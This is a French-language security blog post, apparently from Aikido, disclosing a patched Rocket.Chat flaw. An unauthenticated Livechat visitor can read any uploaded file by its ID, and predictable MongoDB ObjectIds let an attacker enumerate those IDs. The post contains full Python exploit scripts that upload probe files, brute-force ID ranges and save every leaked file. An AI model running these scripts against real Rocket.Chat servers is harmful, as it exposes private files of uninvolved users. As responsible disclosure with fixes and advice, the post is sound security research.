Aikido

Prédiction en continu de la fonction ObjectId() de MongoDB dans Rocket.Chat

Écrit par
Jorian Woltjer

Les applications utilisant MongoDB présentent souvent le risque de traiter le ObjectId() fonctionner de manière cryptographiquement sûre. Récemment, nous avons découvert que Rocket.Chat, une application open source similaire à Slack, a été victime de ce problème. Chez Aikido, nous utilisons Tests d'intrusion basés sur l'IA sur diverses applications open source afin de tester nos agents et d’identifier leurs points forts et leurs axes d’amélioration. Au cours du test d’intrusion, l’un des agents a signalé qu’un utilisateur non authentifié de Rocket.Chat pouvait accéder à n’importe quel fichier mis en ligne s’il en connaissait l’identifiant. Cet identifiant est généré par MongoDB’s ObjectId() et cela semble aléatoire à première vue, mais quand on y regarde de plus près, c'est tout le contraire !

Dans cet article, nous allons montrer comment un pirate peut récupérer en continu tous les identifiants valides générés. Nous décrirons une attaque qui analyse l'identifiant actuel afin de prédire tous les autres identifiants générés par l'application. Nous illustrerons cela en capturant chaque fichier mis en ligne sur une instance de Rocket.Chat. Cette attaque pourrait être appliquée à différentes applications utilisant MongoDB et reposant sur les mêmes principes, au-delà de Rocket.Chat.

Nous avons détecté et signalé ce problème dans Rocket.Chat le 21 avril via HackerOne (désormais rendu public : #3687142). Au 12 juin, elle a été corrigée dans les versions 8.5.1, 8.4.4, 8.3.6, 8.2.6, 8.1.6, 8.0.7, 7.13.9 et 7.10.13. Si vous ou votre organisation hébergez une instance de Rocket.Chat, effectuez dès que possible la mise à jour vers l'une de ces versions ou une version plus récente, si ce n'est déjà fait. Comme il s'agit d'une faille exploitable sans authentification, toute personne disposant d'un accès au réseau peut en tirer parti.

La vulnérabilité

Avant d'aborder la technique d'exploitation, permettez-moi de vous expliquer plus en détail le fonctionnement de Rocket.Chat.

Rocket.Chat sert principalement à communiquer avec votre organisation et votre équipe. Les conversations sont réparties entre différents canaux configurables, et les utilisateurs peuvent partager des fichiers en plus de discuter. Pour bien cerner la surface d'attaque sans authentification, il faut savoir que, dans la configuration par défaut, les utilisateurs ne peuvent pas s'inscrire eux-mêmes et qu'une connexion est requise pour ouvrir l'application.

L'application web Rocket.Chat avec un canal ouvert, affichant la barre latérale, le fil de messages et une discussion en cours.
Rocket.Chat avec un canal ouvert

Il existe également un composant facultatif appelé Chat en direct, qui est en fait un service d'assistance par chat sans authentification. Même si c'est facultatif, c'est activé par défaut, mais il n'est visible que si vous accédez directement à /chat en direct:

Le widget Livechat de Rocket.Chat, accessible à l'adresse /livechat, est un formulaire d'assistance ne nécessitant aucune authentification et comportant des champs pour le nom, l'adresse e-mail et le message.

Livechat permet aux utilisateurs d'envoyer un message en texte brut au service d'assistance. De plus, ce widget prend en charge le téléchargement de fichiers, mais le champ de saisie est désactivé par défaut (c'est pourquoi il n'apparaît pas sur la capture d'écran ci-dessus). Toutefois, le point de terminaison de l'API permettant de télécharger des fichiers sans authentification reste accessible. C'est la principale fonctionnalité que nous utiliserons dans notre futur exploit.

Les fichiers téléchargés via l'une ou l'autre de ces fonctionnalités (canaux authentifiés et Livechat non authentifié) sont stockés au même emplacement : /file-upload/{fileId}. Cela complique quelque peu la logique d'autorisation. Serait-il possible d'exploiter une faille dans Livechat pour lire les fichiers réellement mis en ligne sur le canal ?

L'un des agents a remarqué quelque chose d'étrange dans FileUpload.ts. Il y a deux Il existe différentes façons de définir l'identifiant de salle d'un fichier. Tout d'abord, l'autorisation s'effectue par requestCanAccessFiles qui dit rc_rid (rid = ID de la salle) à partir de la chaîne de requête.

async requestCanAccessFiles({ headers = {}, url }: http.IncomingMessage, file?: IUpload) {
    const { query } = URL.parse(url, true);
    let { rc_uid, rc_token, rc_rid, rc_room_type } = query;
    ...
   const isAuthorizedByRoom = async () =>
        rc_room_type &&
        roomCoordinator
            .getRoomDirectives(rc_room_type)
            .canAccessUploadedFile({ rc_uid: rc_uid || '', rc_rid: rc_rid || '', rc_token: rc_token || '' });

Le rc_rid est transmis à canAccessUploadedFile ainsi que le rc_token paramètre permettant de vérifier que vous avez accès à cette salle et que vous devriez pouvoir lire le fichier :

async canAccessUploadedFile({ rc_token: token, rc_rid: rid }) {
    return token && rid && !!(await LivechatRooms.findOneByIdAndVisitorToken(rid, token));
},

Deuxièmement, il y a l'appel à FileUpload.requestCanAccessFiles, qui récupère le fichier depuis le /file-upload/{fileId}/… chemin d'accès et le recherche directement dans la base de données :

WebApp.connectHandlers.use(FileUpload.getPath(), async (req, res, next) => {
    const match = /^\/([^\/]+)\/(.*)/.exec(req.url || '');

    if (match?.[1]) {
        const file = await Uploads.findOneById(match[1]);

        if (file) {
            if (!(await FileUpload.requestCanAccessFiles(req, file))) {

Ceci fichier dispose également d'un rid (ID de la salle), qui peut être différent de celui indiqué rc_rid dans l'URL. Que se passerait-il s'il y avait une divergence ?

La réponse est une faille de sécurité majeure. Rocket.Chat ne vérifie pas si le fichier que vous demandez se trouve bien dans la salle dont vous vérifiez l'accès. Cela signifie que vous pouvez indiquer n'importe quelle salle fictive valide, puis spécifier un fichier arbitraire fileId dans le paramètre « path » pour récupérer son contenu.

Voyons cela en pratique. Commençons par publier n'importe quel fichier sur une chaîne en tant que victime. Sur la capture d'écran ci-dessous, l'utilisateur « admin » a publié file.txt:

Un message Rocket.Chat envoyé par l'utilisateur « admin » contenant un fichier joint, « file.txt », présenté comme une pièce jointe au format TXT de 17 octets.

Ensuite, copiez le lien vers le fichier, par exemple :
https://rocketchat.local/file-upload/6a325394876fbe9c70b1b03f/file.txt
Si l'on accède naïvement à cette URL dans un onglet de navigation privée, on obtient une erreur 403 ; elle devrait donc être privée. Voyons maintenant si nous pouvons la divulguer à l'aide de la fonctionnalité Livechat.

Prenez le fileId partie 6a325394876fbe9c70b1b03f, et essayons d'accéder à la même URL en nous faisant passer pour n'importe quel utilisateur anonyme d'une salle de Livechat. Nous pouvons créer une session en nous enregistrant d'abord en tant que « visiteur » avec n'importe quelle valeur de jeton, puis en demandant notre identifiant de salle. Avec cet identifiant de salle valide, si notre exploit fonctionne, nous sommes désormais en mesure d'obtenir n'importe quel fichier dès lors que nous connaissons simplement son fileId. En effet, aucune vérification n'est effectuée pour comparer la pièce réelle du fichier à notre pièce temporaire.

Nous allons créer étape par étape un script Python pour notre exploit final. Commençons par mettre en œuvre cette idée :

HOST = "https://rocketchat.local"
FILE_ID = "6a325394876fbe9c70b1b03f"

s = requests.Session()

token = "x"
# Create anonymous visitor with token
s.post(f"{HOST}/api/v1/livechat/visitor", 
       json={"visitor": {"token": token, "name": "attacker", "email": "attacker@example.com"}})
# Get our Room ID
r = s.get(f"{HOST}/api/v1/livechat/room", 
          params={"token": token, "agentId": "rocket.cat"})
rid = r.json()["room"]["_id"]
print(f"{rid=}")  # ceHsTjGSTfvAzWHk2

# Get other file using our Room ID
r = s.get(f"{HOST}/file-upload/{FILE_ID}/x", 
          params={"rc_room_type": "l", "rc_rid": rid, "rc_token": token})
print(r.text)  # SUPER SECRET DATA
print(r.headers["Content-Disposition"])  # attachment; filename*=UTF-8''file.txt

Nous avons réussi à divulguer le DONNÉES TRÈS CONFIDENTIELLES à l'intérieur file.txt! On récupère également le nom de fichier d'origine dans le Content-Disposition : en-tête, ce qui permet de déterminer plus facilement ce que le fichier est censé contenir.

Une belle trouvaille de la part de l'agent, mais elle reposait sur la connaissance d'un élément difficile à deviner fileId: 6a325394876fbe9c70b1b03f. Cela ressemble à une valeur aléatoire composée de 12 octets. Même avec un million de requêtes par seconde, il faudrait attendre plusieurs milliers de durées de vie de l'univers avant d'obtenir un premier résultat. Ce n'est pas tout à fait réaliste.

Après avoir examiné manuellement une partie plus importante du code source de l'application, nous n'avons trouvé aucun moyen de divulguer directement l'un de ces identifiants de fichier à partir d'autres sources. Comment obtenir un identifiant valide ?

Le premier indice vient du fait que cet identifiant est généré par MongoDB’s ObjectId() fonction. « En quoi cela nous aide-t-il ? », vous demanderez-vous peut-être.

MongoDB ObjectId()

Comme l'explique la documentation, un ObjectId se compose des éléments suivants :

  • Un horodatage de 4 octets, correspondant à la date de création de l'ObjectId, exprimé en secondes depuis l'époque Unix.
  • Une valeur aléatoire de 5 octets générée une fois par processus côté client. Cette valeur aléatoire est unique à la machine et au processus. Si le processus redémarre ou si le nœud principal du processus change, cette valeur est régénérée.
  • Un compteur incrémental de 3 octets par processus côté client, initialisé à une valeur aléatoire. Le compteur est remis à zéro au redémarrage du processus.

Un identifiant tel que 6a325394876fbe9c70b1b03f peut être divisé en :

Un ObjectId MongoDB se compose d'un horodatage de 4 octets, d'une valeur aléatoire statique de 5 octets et d'un compteur de 3 octets.

On y lit également :

> Pour les valeurs d'horodatage et de compteur, les octets les plus significatifs apparaissent en premier dans la séquence d'octets (big-endian)

Notre horodatage 6a325394 correspond donc au 17 juin 2026 à 9 h 58 min 12 s :

>>> à partir de date-heure import datetime
>>> datetime.fromtimestamp(int("6a325394", 16))
datetime.datetime(2026, 6, 17, 9, 58, 12)

La valeur du compteur b1b03f est également un entier « big-endian ». b1b03f + 1, ce serait b1b040, l'ID suivant. Ce compteur est initialisé de manière aléatoire et recommence à zéro à ffffff à 000000.

Cela apparaît d'ailleurs clairement si l'on compare deux identifiants de fichiers consécutifs. Ils sont loin d'être aléatoires.

  1. 6a325394876fbe9c70b1b03f
  2. 6a325a30876fbe9c70b1b048

Prédire de manière entièrement aléatoire

Compte tenu de cette faible entropie, on pourrait penser qu’il suffit d’essayer tous les identifiants possibles jusqu’à ce qu’on tombe par hasard sur un fichier existant. Si cela est globalement vrai pour l’horodatage (nous ne disposons que du nombre de secondes écoulées au cours des derniers mois), nous ne connaissons pas la valeur aléatoire statique de 5 octets, et le compteur est lui aussi initialisé de manière aléatoire.

À elle seule, la valeur aléatoire statique offre plus d'un billion de possibilités (256^5). À raison de 1 000 requêtes par seconde, il vous faudrait tout de même attendre environ 18 ans. D'ici là, je serais très surpris que la machine de votre attaquant soit encore en marche.

On peut considérer que cela est impossible.

Prédiction à partir d'un point d'ancrage

La meilleure façon de s'y prendre est de trouver tout ObjectId() sortie à partir de l'application, puis de prédire les futurs à partir de là. Un « point d'ancrage ». Dans Rocket.Chat, heureusement pour nous, il existe un moyen très simple de le faire grâce à la fonctionnalité Livechat que nous utilisons déjà. Il suffit de télécharger un fichier de manière anonyme pour obtenir son identifiant : voilà notre échantillon.

r = s.post(f"{HOST}/api/v1/livechat/upload/{rid}", 
            headers={"x-visitor-token": token}, 
            files={"file": ("probe", b"probe", "text/plain")})
r.raise_for_status()
data = r.json()
probe_id = data["file"]["_id"]
print(f"{probe_id=}")  # 6a325fbf876fbe9c70b1b053

Nous disposons désormais de deux primitives obligatoires :

  1. Une chose à laquelle nous ne devrions pas avoir accès, c'est accessible si on sait que c'est ObjectId()
  2. Nous avons un moyen de générer et lisez notre propre ObjectId()

Avec cela en main, nous pouvons aller beaucoup plus loin. Pour trouver les fichiers mis en ligne par d’autres utilisateurs, nous devons réfléchir à ce qui change : l’horodatage et le compteur. Nous devrons décrémenter l’horodatage en secondes jusqu’à l’heure souhaitée. Mais en ce qui concerne le compteur, nous ne savons pas vraiment de combien le décrémenter, car d’autres fonctionnalités peuvent générer ObjectId()C'est tout aussi bien ainsi, cela nous évite de passer par certaines valeurs pour les identifiants de fichiers que nous recherchons.

Il suffit de deviner quelques fourchettes pour obtenir déjà de bons résultats :

# Parse parts of the ObjectId()
timestamp = datetime.fromtimestamp(int(probe_id[0:8], 16))
random = probe_id[8:18]
counter = int(probe_id[18:24], 16)
print(f"{timestamp=} {random=} {counter=}")

# Loop through the last 5 minutes of timestamps, and last 20 counters
for delta in tqdm(range(int(timedelta(minutes=5).total_seconds()))):
    for c in range(counter - 20, counter):
        t = timestamp - timedelta(seconds=delta)  # Go backwards
        # Create new potential ObjectId()
        oid = f"{int(t.timestamp()):08x}{random}{c:06x}"
        if oid == probe_id:
            continue  # Skip our own file

        # Try requesting it, if successful, print it
        r = s.get(f"{HOST}/file-upload/{oid}/x", 
            params={"rc_room_type": "l", "rc_rid": rid, "rc_token": token})
        if r.ok:
            tqdm.write(f"{oid}: {r.text!r}")

Si l'on télécharge un fichier sur Rocket.Chat puis que l'on exécute ce script peu après, celui-ci détecte l'ID et ses données (en parcourant les 5 dernières minutes ainsi que les 20 ID précédents dans le compteur). Voici un exemple du résultat auquel vous pouvez vous attendre :

probe_id='6a326750876fbe9c70b1b069'
timestamp=datetime.datetime(2026, 6, 17, 11, 22, 24) random='876fbe9c70' counter=11645033
6a326747876fbe9c70b1b068: 'SUPER SECRET DATA'                             
  6%|██▎                                 | 19/300 [00:09<02:36,  1.79it/s]

Bien que cela soit viable pour une démonstration de principe, dans le cadre d’une attaque réelle, vous ne saurez pas exactement quand une victime mettra son fichier en ligne. Une instance réelle pourrait également être bien plus sollicitée que notre instance locale, générant ainsi de nombreux ObjectId()Il en va de même pour les autres fonctionnalités qui modifient les identifiants de fichiers. Nous devons gagner en rapidité et trouver un moyen de garantir que nous traitons tous les identifiants de fichiers sans faire d'hypothèses sur l'horodatage ou le compteur.

Recherche en continu de tous les ObjectId()

L'un des principaux goulots d'étranglement actuels réside dans le fait que nous interrogeons chaque identifiant de manière synchrone, un par un. Pendant que nous attendons la réponse du serveur, nous ne faisons rien. En modifiant le code pour qu'il soit asynchrone avec une bibliothèque telle que httpx, nous pouvons lancer plusieurs processus de travail qui envoient tous simultanément des requêtes à partir d'une file d'attente.
Nous allons extraire le nom du fichier à partir du Content-Disposition : en-tête en même temps, puis enregistrez le fichier sous fuites/ localement, sous son nom de fichier d'origine.

async def get_token(client):
    token = "x"
    r = await client.post(f"{HOST}/api/v1/livechat/visitor", json={"visitor": {"token": token, "name": "probe", "email": "probe@ex.com"}})
    r.raise_for_status()
    r = await client.get(f"{HOST}/api/v1/livechat/room", params={"token": token, "agentId": "rocket.cat"})
    r.raise_for_status()
    rid = r.json()["room"]["_id"]
    return token, rid

async def oid_worker(client, i, queue, rid, token):
    while True:
        oid = await queue.get()
        print(f"Worker {i} requesting {oid}")
        r = await client.get(f"{HOST}/file-upload/{oid}/x", params={"rc_room_type": "l", "rc_rid": rid, "rc_token": token})
        if r.status_code == 200:
           filename = unquote(r.headers["Content-Disposition"].split("filename*=UTF-8''")[1])
            try:
                content = r.text
            except UnicodeDecodeError:
                content = r.content
            print(f"[LEAK] {oid} ({filename}): {content[:100]!r}")
            with open(f"leaks/{filename.replace('/', '_')}", "wb") as f:
                f.write(r.content)

async def main():
    queue = asyncio.Queue()
    num_workers = 10

    async with httpx.AsyncClient() as client:
        token, rid = await get_token(client)
        print(f"{rid=}")

        print("Starting producer loop...")
        producer_task = asyncio.create_task(oid_producer(client, queue, rid, token))  # We will implement the producer in a second
        print(f"Starting {num_workers} workers...")
        worker_tasks = [
            asyncio.create_task(oid_worker(client, i, queue, rid, token))
            for i in range(num_workers)
        ]
        await asyncio.gather(producer_task, *worker_tasks)

if __name__ == "__main__":
    asyncio.run(main())

Pour nous assurer de passer en revue tous les identifiants existants, nous pouvons exploiter la différence entre plusieurs sondages. Si un sondage précédent a relevé une valeur de 100 pour le compteur, et que le sondage suivant, effectué peu de temps après (par exemple 10 secondes plus tard), a relevé une valeur de 122, nous savons que 22 identifiants ont été générés entre ces deux moments. L'intervalle entre les horodatages est également immédiatement évident : 10 secondes. Nous pouvons donc parcourir les 10 × 22 identifiants aussi rapidement que possible.

Une fois cela fait, nous pouvons envoyer une autre requête 10 secondes plus tard ; supposons que le compteur soit alors à 130. En comparant ce chiffre à celui de la requête précédente (122), nous devons à nouveau tester 8 valeurs du compteur sur une période de 10 secondes.
Nous pouvons faire tourner cette boucle en continu, en créant des écarts d'ID grâce à des requêtes continues à intervalles courts, puis en les récupérant rapidement à l'aide de workers asynchrones.

Concrètement, l'algorithme fonctionne à peu près comme suit. Au lieu de récupérer une plage complète de 9 × 26 = 234 identifiants, nous pouvons obtenir des échantillons de l'application afin de réduire la taille des rectangles dans lesquels nous effectuons la recherche. La somme de ces plages plus petites (6 + 16 + 45) est égale à 67, ce qui est bien inférieur à la plage complète initiale.

Un graphique représentant le compteur en fonction de l'horodatage, montrant comment les tentatives entre les échantillons réduisent les plages d'identifiants à soumettre à une attaque par force brute, passant de 234 à 67.

En laissant le programme tourner et à condition que les requêtes soient suffisamment rapides, nous pouvons garantir que nous traiterons tous les identifiants de fichiers potentiels.

Dans notre implémentation Python, ce n'est pas difficile à mettre en œuvre. Il suffit de décomposer chaque identifiant de sonde pour en extraire l'horodatage et le compteur, puis de les comparer à ceux de la sonde précédente.
Si nous faisons preuve d'intelligence, nous pouvons enregistrer et exclure de notre recherche les valeurs de notre propre compteur de sondes, car celles-ci ne correspondront jamais aux fichiers secrets que nous recherchons. Il faut toutefois faire attention à un cas particulier : le compteur peut effectuer un retour à zéro à partir de ffffff à 000000 si cette limite est atteinte, nous devons donc utiliser un modulo pour nous assurer que la valeur reste dans la limite de 3 octets.

PRODUCER_INTERVAL = 10

def split_probe_id(probe_id):
    timestamp = int(probe_id[0:8], 16)
    random = probe_id[8:18]
    counter = int(probe_id[18:24], 16)
    return timestamp, random, counter

def mod_range(start, stop, modulus):
    for i in range((stop - start) % modulus):
        yield (start + i) % modulus

async def oid_producer(client, queue, rid, token):
    prev_probe_id = await get_probe_id(client, rid, token)
    probes = set([split_probe_id(prev_probe_id)[2]])
    await asyncio.sleep(PRODUCER_INTERVAL)
    while True:
        probe_id = await get_probe_id(client, rid, token)
        prev_timestamp, _, prev_counter = split_probe_id(prev_probe_id)
        timestamp, random, counter = split_probe_id(probe_id)
        probes.add(counter)
        i = 0
        for t in range(prev_timestamp, timestamp):
            for c in mod_range(prev_counter, counter, 0x1000000):
                if c in probes:
                    continue  # Skip our own files
                oid = f"{t:08x}{random}{c:06x}"
                await queue.put(oid)
                i += 1
        print(f"Produced {i} IDs")
        prev_probe_id = probe_id
        await asyncio.sleep(PRODUCER_INTERVAL)

En exécutant enfin le script, on constate que, sur notre instance locale, tout se passe sans heurts tant qu’il ne se passe rien. Nous ignorons nos propres identifiants et la différence par rapport à la vérification précédente n’est que de 1. Dès que nous ouvrons l’application et téléchargeons un fichier, en moins de 10 secondes, celui-ci est détecté par le script d’exploitation et divulgué par un utilisateur qui l’a intercepté :

Lancement de la boucle de production...
Lancement de 10 travailleurs...
Produit 0 identifiants
Produit 0 ID
...
Produits 22 ID
Travailleur 0 demandant 6a32774c876fbe9c70b1b112
Travailleur 1 demandant 6a32774c876fbe9c70b1b113
...
Travailleur 3 demande 6a327754876fbe9c70b1b113
[FUITE] 6a32774e876fbe9c70b1b112 : « DONNÉES ULTRA-CONFIDENTIELLES »
Travailleur 5 demande 6a327756876fbe9c70b1b113
Produit 0 identifiants

C'est réussi ! Pendant l'exécution du script, nous identifions et divulguons désormais chaque fichier mis en ligne sur l'instance Rocket.Chat. Grâce aux améliorations apportées à la vitesse, l'instance peut être utilisée normalement sans trop ralentir notre script ; de plus, comme il s'agit d'une file d'attente, si la charge de travail est trop importante, le script rattrapera son retard dès que l'activité diminuera.Notez que l’intervalle de 10 secondes que nous utilisons actuellement est purement arbitraire : plus vous le réduisez, plus les plages possibles seront étroites, ce qui vous permettra de détecter avec précision le moment où un fichier est mis en ligne. Vous pouvez déterminer vous-même le bon équilibre entre le nombre de requêtes de sondage et le nombre de requêtes de force brute.

Découvrez la démonstration de faisabilité dans cette vidéo :

Points à retenir

Rocket.Chat a corrigé le problème lié au contrôle d'accès (#40889) en transmettant le fichier dans canAccessUploadedFile(), et en vérifiant que le fichier sélectionné correspond à l'identifiant de salle indiqué dans le paramètre de requête.

À titre indicatif, pour les identifiants aléatoires, nous recommandons de ne pas se fier à ObjectId(), c'est presque aussi peu sûr qu'un simple identifiant incrémental. Dans le cadre d'une défense en profondeur, utilisez l'UUIDv4 pour générer des chaînes aléatoires sécurisées, afin de garantir que, même en cas de failles dans le contrôle d'accès, un attaquant doive encore franchir une deuxième étape pour découvrir les identifiants.

Bien que notre agent ait réussi à détecter la vulnérabilité IDOR, il n'a dans un premier temps pas mentionné le caractère prévisible de MongoDB ObjectId()En effet, un échantillon isolé semble aléatoire à première vue. Grâce aux modifications que nous avons apportées à la suite de cette étude, les agents analysent désormais l'entropie de ces identifiants afin d'expliquer avec plus de précision le risque d'exploitation dans les rapports.

Pour les chercheurs en sécurité et les pentesteurs qui souhaitent améliorer le réalisme de leurs PoC IDOR, vous savez désormais qu'il est facile de prédire les identifiants MongoDB. C'est un point à surveiller dès que vous rencontrez deux identifiants qui se ressemblent de manière troublante.

Notre pentest IA l'a détecté de lui-même. Si vous souhaitez réaliser des tests d'intrusion rapides et de haute qualité sur votre application, découvrez la suite de tests d'intrusionAikido.

Partager :

https://www.aikido.dev/blog/predicting-mongodb-objectid-rocket-chat

Analyser les malwares

Commencer gratuitement
4,7/5
Fatigué des faux positifs ?
Essayez Aikido, comme 100 000 autres.
Commencez maintenant
Obtenez une démonstration personnalisée

Approuvé par plus de 100 000 équipes

Réserver maintenant
Analysez votre application à la recherche d'IDORs et de chemins d'attaque réels

Approuvé par plus de 100 000 équipes

Démarrer l'analyse
Découvrez comment le pentest IA teste votre application

Approuvé par plus de 100 000 équipes

Démarrer les tests

Sécurisez votre environnement dès maintenant.

Sécurisez votre code, votre cloud et votre environnement d’exécution dans un système centralisé unique.
Détectez et corrigez les vulnérabilités rapidement et automatiquement.

Aucune carte de crédit requise | Résultats en 32 secondes.